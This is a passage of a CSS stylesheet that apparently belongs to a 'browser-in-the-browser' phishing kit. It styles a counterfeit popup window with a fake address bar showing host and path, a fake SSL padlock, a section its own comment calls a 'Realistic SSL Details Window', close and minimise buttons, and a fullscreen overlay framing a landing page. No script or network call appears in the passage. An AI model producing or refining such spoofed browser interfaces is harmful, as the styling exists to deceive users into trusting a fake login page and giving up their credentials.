51 | border-radius: 7px 7px 0px 0px; 52 | position: initial!important; 53 | height: 30px; 54 | } 55 | 56 | #pop-logo { 57 | padding-left: 5px; 58 | width: 18px; 59 | margin-right: 6px; 60 | pointer-events: none; 61 | } 62 | 63 | #pop-title-text { 64 | font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; 65 | color: #000000; 66 | font-size: 12px; 67 | font-weight: 400; 68 | vertical-align: middle; 69 | 70 | width: 86%; 71 | display: flex; 72 | justify-content: space-between; 73 | align-items: center; 74 | 75 | } 76 | 77 | #pop-uri-bar { 78 | height: 34px; 79 | background-color: #f1f3f4; 80 | border-bottom: none; 81 | width: 100%; 82 | display: flex; 83 | align-items: center; 84 | white-space: nowrap; 85 | overflow: scroll; 86 | text-overflow: ellipsis; 87 | -ms-overflow-style: none; 88 | scrollbar-width: none; 89 | 90 | user-select:all; 91 | } 92 | 93 | 94 | 95 | 96 | /* Fullscreen overlay */ 97 | #primary { 98 | position: fixed; 99 | top: 0; 100 | left: 0; 101 | right: 0; 102 | bottom: 0; 103 | background-color: #c5c5c5; 104 | z-index: 999; 105 | pointer-events: auto; 106 | width: 100%; 107 | height: 100%; 108 | } 109 | 110 | #landingPageFrame { 111 | width: 100%; 112 | height: 100%; 113 | border: none; 114 | } 115 | 116 | 117 | #pop-uri-bar ::selection { 118 | color: #202124; 119 | background: #9bc2f5; 120 | } 121 | 122 | #pop-uri-bar::-webkit-scrollbar { 123 | display: none; 124 | } 125 | 126 | #pop-ssl-icon { 127 | height: 25px; 128 | width: 25px; 129 | min-height: 25px; 130 | min-width: 25px; 131 | border-radius: 25px; 132 | margin-right: 3px; 133 | margin-left: 3px; 134 | } 135 | 136 | #pop-ssl-icon:hover { 137 | background-color: #dcdee0; 138 | } 139 | 140 | #pop-ssl-icon.visible { 141 | background-color: #b9babc; 142 | } 143 | 144 | #pop-ssl-icon img{ 145 | user-select: none; 146 | position: relative; 147 | left: 3px; 148 | filter: brightness(0.1) contrast(0.25); 149 | } 150 | 151 | #pop-uri-prefix { 152 | width: 0; 153 | height: 0; 154 | opacity: 0; 155 | color: #757778; 156 | font-size: 14px; 157 | } 158 | 159 | #pop-uri-host { 160 | color: #202124; 161 | font-size: 14px; 162 | } 163 | 164 | #pop-uri-path { 165 | color: #757778; 166 | font-size: 14px; 167 | white-space: nowrap; 168 | overflow: hidden; 169 | text-overflow: ellipsis; 170 | padding-right: 3px; 171 | } 172 | 173 | 174 | 175 | .pop-control-btns { 176 | display: flex; 177 | flex-direction: row; 178 | justify-content: right; 179 | align-items: center; 180 | } 181 | 182 | .pop-control-btns > div { 183 | background-color: transparent; 184 | padding: 7px 17px 7px 17px; 185 | color: #ffffff; 186 | height: -webkit-fill-available; 187 | display: flex; 188 | justify-content: center; 189 | align-items: center; 190 | } 191 | 192 | .pop-control-btns div:first-child > img { 193 | opacity: .7; 194 | } 195 | 196 | .pop-control-btns div > img { 197 | pointer-events: none; 198 | display: block; 199 | margin: auto; 200 | } 201 | 202 | .pop-control-btns div:hover { 203 | background-color: #c6cace; 204 | opacity: 1; 205 | } 206 | 207 | .pop-control-btns div:last-child:hover { 208 | background-color: #e81123; 209 | opacity: .9; 210 | } 211 | 212 | .pop-control-btns div img{ 213 | width: 10px; 214 | filter: brightness(0) contrast(1); 215 | } 216 | 217 | .pop-control-btns div:last-child img{ 218 | width: 11px; 219 | filter: brightness(0.3) contrast(1); 220 | } 221 | 222 | 223 | .pop-control-btns div:last-child:hover img{ 224 | filter: none; 225 | } 226 | 227 | 228 | 229 | .pop-window-content { 230 | height: calc(100% - 50px); 231 | overflow: hidden; 232 | } 233 | 234 | 235 | /* Realistic SSL Details Window */ 236 | #pop-ssl { 237 | font-size: 12px; 238 | line-height: 1.5; 239 | color: #202124; 240 | width: 300px; 241 | height: 183px; 242 | background-color: #ffffff; 243 | border-radius: 0px 0px 3px 3px; 244 | position: relative; 245 | top: -1px; 246 | display: none; 247 | border: 1px solid #dcdede; 248 | box-shadow: 0 4px 8px rgba(0,0,0,0.1); 249 | } 250 | 251 | #pop-head, 252 | #pop-ssl { 253 | pointer-events: auto; 254 | } 255 | 256 | div#pop-ssl.visible{ 257 | display: block!important; 258 | } 259 | 260 | #pop-ssl-container { 261 | display: flex; 262 | flex-direction: column; 263 | padding: 7px 0px 7px 0px; 264 | } 265 | 266 | #pop-ssl-head { 267 | display: flex; 268 | flex-direction: row; 269 | align-items: center; 270 | justify-content: space-between; 271 | padding: 9px 5px 9px 16px; 272 | } 273 | 274 | #pop-ssl-head-title { 275 | font-size: 16px; 276 | } 277 | 278 | #pop-ssl-head-esc { 279 | width: 25px; 280 | height: 25px; 281 | border-radius: 25px; 282 | background-color: transparent; 283 | } 284 | 285 | #pop-ssl-head-esc img { 286 | width: 11px; 287 | height: 11px; 288 | top: 3px; 289 | left: 7px; 290 | position: relative; 291 | } 292 | 293 | #pop-ssl-head-esc:hover{ 294 | background-color: #eaebeb; 295 | } 296 | 297 | #pop-ssl-body { 298 | display: flex; 299 | flex-direction: column; 300 | padding-bottom: 5px; 301 | } 302 | 303 | .pop-ssl-row { 304 | display: flex; 305 | flex-direction: row; 306 | justify-content: space-between; 307 | padding: 8px 14px 8px 13px; 308 | } 309 | 310 | .pop-ssl-row:hover{ 311 | background-color: #e3e3e4; 312 | } 313 | 314 | .pop-ssl-row-left { 315 | display: flex; 316 | flex-direction: row; 317 | justify-content: flex-start; 318 | align-items: center; 319 | } 320 | 321 | .pop-ssl-row-pre { 322 | margin: 3px 12px 3px 3px; 323 | } 324 | .pop-ssl-row-pre img { 325 | position: relative; 326 | } 327 | 328 | .pop-ssl-row-text { 329 | font-size: 13px; 330 | } 331 | 332 | .pop-ssl-row-post img{ 333 | position: relative; 334 | } 335 | 336 | /* Recoloring the icons using CSS filters */ 337 | #pop-ssl-head-esc img, 338 | .pop-ssl-row-pre img, 339 | .pop-ssl-row-post img { 340 | filter: brightness(0%) contrast(24%); 341 | } 342 | 343 | #pop-ssl-icon img { 344 | filter: brightness(0%) contrast(24%); 345 | } 346 | 347 | 348 | /* Dark Theme Detection Styles */ 349 | @media (prefers-color-scheme: dark) { 350 | 351 | #pop-window { 352 | border: none; 353 | } 354 | 355 | .pop-title-bar { 356 | background: #202124; 357 | } 358 | 359 | #pop-title-text { 360 | color: #ffffff; 361 | } 362 | 363 | #pop-uri-bar { 364 | background-color: #1d1d1d; 365 | } 366 | 367 | #pop-uri-bar ::selection { 368 | color: #ffffff; 369 | background: #536684; 370 | } 371 | 372 | #pop-ssl-icon:hover { 373 | background-color: #88888826 374 | } 375 | 376 | #pop-ssl-icon.visible { 377 | background-color: #a4a4a438; 378 | } 379 | 380 | #pop-ssl { 381 | border: 1px solid #393c3d; 382 | background-color: #292a2d; 383 | color: #e7eaed; 384 | } 385 | 386 | #pop-uri-prefix { 387 | color: #909192; 388 | } 389 | 390 | #pop-uri-host { 391 | color: white; 392 | } 393 | 394 | #pop-uri-path { 395 | color: #909192; 396 | } 397 | 398 | #pop-ssl-head-esc:hover{ 399 | background-color: #98959529; 400 | } 401 | 402 | .pop-ssl-row:hover{ 403 | background-color: #424346; 404 | } 405 | 406 | /* Recoloring the icons using CSS filters */ 407 | .pop-control-btns div img { 408 | filter: none; 409 | } 410 | 411 | .pop-control-btns div:last-child img { 412 | filter: brightness(0.9); 413 | } 414 | 415 | .pop-control-btns div:hover { 416 | background-color: #37383a; 417 | } 418 | 419 | #pop-ssl-icon img { 420 | filter: contrast(0); 421 | } 422 | 423 | #pop-ssl-head-esc, 424 | .pop-ssl-row-pre, 425 | .pop-ssl-row-post { 426 | filter: contrast(5) brightness(1.5); 427 | } 428 | 429 | #pop-ssl-icon { 430 | filter: contrast(100); 431 | } 432 | 433 | #pop-ssl-head-esc img, 434 | .pop-ssl-row-pre img, 435 | .pop-ssl-row-post img { 436 | filter: contrast(3%); 437 | } 438 | 439 | } --------------------------------------------------------------------------------